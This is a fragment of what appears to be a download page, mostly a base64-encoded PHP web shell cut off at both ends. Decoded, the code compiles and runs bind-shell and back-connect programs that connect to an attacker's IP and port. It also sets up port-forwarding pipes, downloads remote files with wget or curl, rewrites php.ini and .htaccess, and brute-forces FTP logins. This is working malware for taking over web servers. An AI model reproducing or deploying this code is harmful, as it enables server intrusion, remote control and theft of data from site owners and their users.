0pJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpO w0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEB1bmxpbmsoIi90bXAvYmQu YyIpOw0KICRibGFoID0gZXgoIi90bXAvYmQgIi4kX1BPU1RbJ3BvcnQnXS4iICIuJF9QT1NUWydiaW5kX3B hc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZCI7DQp9DQppZiAoIWVtcH R5KCRfUE9TVFsncGhwX2luaTEnXSkpDQp7DQogY2YoInBocC5pbmkiLCRwaHBfaW5pMSk7DQogICRfUE9TV FsnY21kJ109IiBEYSB3cml0ZSB4b25nIHBocC5pbmkgdGh1PyB0aHU/IGNvaSBkaSI7DQogfQ0KDQogaWYg KCFlbXB0eSgkX1BPU1RbJ2h0YWNjZXMnXSkpDQp7DQogY2YoIi5odGFjY2VzcyIsJGh0YWNjZXMpOw0KICA kX1BPU1RbJ2NtZCddPSJEYSB3cml0ZSB4b25nIGh0YWNjZXNzIHRodT8gdGh1PyBjb2kgZGkgIjsNCiB9DQ ogIGlmICghZW1wdHkoJF9QT1NUWydmaWxlX2luaSddKSkNCnsNCiBjZigiaW5pLnBocCIsJHNuaV9yZXMpO w0KDQogICRfUE9TVFsnY21kJ109IiBodHRwOi8vdGFyZ2V0LmNvbS9pbmkucGhwP3NzPWh0dHA6Ly9zaGVs bC50eHQ/IERhIHdyaXRlIHhvbmcgaW5pLnBocCB0aHUgeGVtIF5eISI7DQogfQ0KaWYgKCFlbXB0eSgkX1B PU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJQZX JsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHBvcnRfYmluZF9iZF9wbCk7DQogJHAyPXdoaWNoKCJwZXJsI ik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BP U1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSA mJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKC IvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJ HAyLiIgL3RtcC9iYWNrICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BP U1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB 0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIj sNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX 1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAk YmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOw0KIEB1bmxpbmsoIi90bXAvYmF jay5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3 J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gI i4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5 KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1 wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZi giL3RtcC9kcCIsJGRhdGFwaXBlX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwM i4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIg Ii4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXA gZHAiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncm Vtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ 109PSJDIikpDQp7DQogY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsNCiAkYmxhaCA9IGV4KCJnY2Mg LW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpOw0KIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiAkYmxhaCA9IGV 4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIi AiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3Jlc CBkcGMiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2FsaWFzJ10pICYmIGlzc2V0KCRhbGlhc2VzWyRfUE9T VFsnYWxpYXMnXV0pKSB7ICRfUE9TVFsnY21kJ10gPSAkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dOyB9DQp pZiAoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpDQp7DQppZighZW1wdH koJF9QT1NUWyduZXdfbmFtZSddKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9DQplbHNlIHsgJ G5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsgfQ0KQGNvcHkoJEhUVFBfUE9T VF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwNCiAgICAgICAgICAgICRfUE9TVFsnZGlyJ10uIi8
20.
iLiRuZm4pDQogICAgICBvciBwcmludCgiPGZvbnQgY29sb3I9V2hpdGUgZmFjZT1GaXhlZHN5cz48ZGl2IG FsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ 11bJ25hbWUnXS4iPC9kaXY+PC9mb250PiIpOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYg IWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQp7DQo gc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0KIHsNCiBjYXNlIHdnZXQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaW NoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiO w0KIGJyZWFrOw0KIGNhc2UgZmV0Y2g6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8g Ii4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCiBicmVhazsNCiB jYXNlIGx5bng6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWy dyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGxpbmtzO g0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxl J10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgR0VUOg0KICRfUE9TVFs nY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY1 9maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBjdXJsOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3Vyb CcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVh azsNCiB9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCRfUE9TVFsnY21kJ109PSJmdHBfZml sZV91cCIgfHwgJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSkNCiB7DQogbGlzdCgkZnRwX3Nlcn ZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtc HR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVj dCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9DQo gZWxzZQ0KICB7DQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF 9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UNCiAgIHsNCiAgIGlmKCRfUE9TV FsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIp IHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9 QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF 9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsJfQ0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0c F9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1Rb J2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICB9DQogIH0NCiBAZnRwX2Nsb3NlKCRjb25uZWN 0aW9uKTsNCiAkX1BPU1RbJ2NtZCddID0gIiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmIC RfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgP SBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkg eyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciw kZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21kJ10gPSAiIj sgfQ0KIGVsc2UgaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZ WxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1XaGl0ZT48dHI+PHRkIGNsYXNzPW1haW4gYmdj b2xvcj1CbGFjaz48Zm9udCBjb2xvcj1XaGl0ZSBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWN lbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC 90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO w0KIH0NCmVjaG8gJHRhYmxlX3VwMzsNCmlmIChlbXB0eSgkX1BPU1RbJ2NtZCddKSYmISRzYWZlX21vZGUp IHsgJF9QT1NUWydjbWQnXT0oISR1bml4KT8oImRpciIpOigibHMgLWxpYSIpOyB9DQplbHNlIGlmKGVtcHR 5KCRfUE9TVFsnY21kJ10pJiYkc2FmZV9tb2RlKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9DQplY2 hvICRmb250LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxJ10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+P C9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRh cmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCg0KZnVuY3Rpb24gZG96aXAxKCRsaW5rLCR maWxlKQ0Kew0KICAgJGZwID0gQGZvcGVuKCRsaW5rLCJyIik7DQogICB3aGlsZSghZmVvZigkZnApKQ0KIC Agew0KICAgICAgICRjb250Lj0gZnJlYWQoJGZwLDEwMjQpOw0KICAgfQ0KICAgZmNsb3NlKCRmcCk7DQoNC iAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsNCiAgIGZ3cml0ZSgkZnAyLCRjb250KTsNCiAgIGZjbG9z ZSgkZnAyKTsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ2Z1bnppcCddKSkNCnsNCmRvemlwMSgkX1BPU1RbJ2Z 1bnppcCddLCRfUE9TVFsnZnppcCddKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsncm9vdCddKSl7DQp9IGVsc2 Ugew0KICAgJHJvb3QgPSAkX1BPU1RbJ3Jvb3QnXTsgfQ0KDQoNCg0KDQogICRjID0gMDsgJEQgPSBhcnJhe SgpOw0KICBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsNCg0KICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBh YmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCg0KICBmb3I oJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKyl7DQogICRwYXRoID0ieyRyb290fSIuKChzdWJzdH IoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfSI7DQoNCiAgJHByZXZEID0gJ ERbY291bnQoJEQpLTFdOw0KICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgaWYoJERbY291bnQoJEQp LTFdICE9ICRwcmV2RCl7DQoNCiAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKys pew0KDQogICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi 8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7DQoNCiAgICAgICAgICAgJHByZXZEMiA9I CREW2NvdW50KCREKS0xXTsNCiAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAg
Télécharger maintenant